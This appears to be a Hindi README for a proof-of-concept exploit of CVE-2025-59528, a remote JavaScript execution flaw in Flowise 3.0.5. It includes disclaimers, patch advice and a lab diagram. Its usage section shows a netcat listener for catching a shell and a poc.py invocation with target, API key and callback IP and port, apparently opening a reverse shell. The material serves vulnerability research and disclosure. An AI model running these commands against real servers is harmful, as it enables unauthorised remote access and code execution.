CVE-2025-59528 PoC

पृथक प्रयोगशाला वातावरण में CVE-2025-59528 पर शोध करने के लिए प्रूफ ऑफ कॉन्सेप्ट।

[!WARNING] अस्वीकरण

यह प्रोजेक्ट पूर्णतः शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान, और उन प्रणालियों के परीक्षण के लिए है जिनके स्वामी आप हैं या जिनके परीक्षण हेतु आपके पास स्पष्ट प्राधिकरण है।

इस PoC का उपयोग तृतीय-पक्ष सर्वरों, सार्वजनिक सेवाओं, या बुनियादी ढांचे के विरुद्ध स्वामी की अनुमति के बिना न करें।

लेखक इस प्रोजेक्ट के दुरुपयोग से उत्पन्न किसी भी क्षति, डेटा हानि, सेवा व्यवधान, या कानूनी परिणामों के लिए उत्तरदायी नहीं है।

विवरण

यह PoC CVE-2025-59528 के संभावित प्रभाव को प्रदर्शित करता है, जो Flowise में उपयोगकर्ता-नियंत्रित mcpServerConfig के प्रसंस्करण से संबंधित एक भेद्यता है।

कुछ शर्तों के अंतर्गत, यह भेद्यता हमलावर को सर्वर-पक्ष संदर्भ में मनमाना JavaScript कोड निष्पादित करने की अनुमति दे सकती है।

प्रभावित संस्करण

• Flowise 3.0.5

फिक्स्ड संस्करण

• Flowise 3.0.6+

परीक्षण से पहले हमेशा लक्षित इंस्टॉलेशन के सटीक संस्करण को सत्यापित करें।

आवश्यकताएँ

• Python 3
• requests
• एक स्थानीय या पृथक Flowise परीक्षण इंस्टेंस
• आवश्यक अनुमतियों वाला एक अधिकृत खाता

Python निर्भरता स्थापित करें:

pip install requests

उपयोग

शेल प्राप्त करने के लिए netcat चलाएँ:

nc -lvnp <YOUR_PORT>

PoC को इस प्रकार चलाएँ:

python3 poc.py \
    -t http://TARGET:PORT \
    -o api_key \
    -i CALLBACK_IP \
    -p CALLBACK_PORT

तर्क

प्रयोगशाला सेटअप

परीक्षण एक पृथक वर्चुअल या प्रयोगशाला नेटवर्क के भीतर किया जाना चाहिए।

┌──────────────────┐
│    PoC Machine   │
│                  │
│    Python PoC    │
└────────┬─────────┘
         │
         │ Isolated Network
         │
┌────────▼─────────┐
│   Flowise 3.0.5  │
│   Test Instance  │
└──────────────────┘

जानबूझकर भेद्य Flowise इंस्टेंस को सीधे सार्वजनिक इंटरनेट पर उजागर न करें।

शमन

यदि आप Flowise का प्रभावित संस्करण चला रहे हैं:

1. Flowise को पैच किए गए संस्करण में अपग्रेड करें।
2. प्रशासनिक API तक पहुँच प्रतिबंधित करें।
3. अविश्वसनीय उपयोगकर्ताओं को भेद्य कार्यक्षमता तक पहुँचने के लिए आवश्यक अनुमतियाँ प्रदान करने से बचें।
4. संदिग्ध अनुरोधों के लिए सर्वर लॉग की समीक्षा करें।
5. अपग्रेड के बाद इंस्टॉलेशन का पुनः परीक्षण करें।

संदर्भ

• CVE: CVE-2025-59528
• प्रभावित सॉफ़्टवेयर: Flowise
• फिक्स्ड संस्करण: 3.0.6+

कानूनी सूचना

इस प्रोजेक्ट का उपयोग करके, आप स्वीकार करते हैं कि आप सभी लागू कानूनों और विनियमों का अनुपालन करने के लिए पूर्णतः उत्तरदायी हैं।

इस PoC का उपयोग केवल उन्हीं प्रणालियों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके लिए आपके पास सुरक्षा परीक्षण करने के लिए स्पष्ट प्राधिकरण है।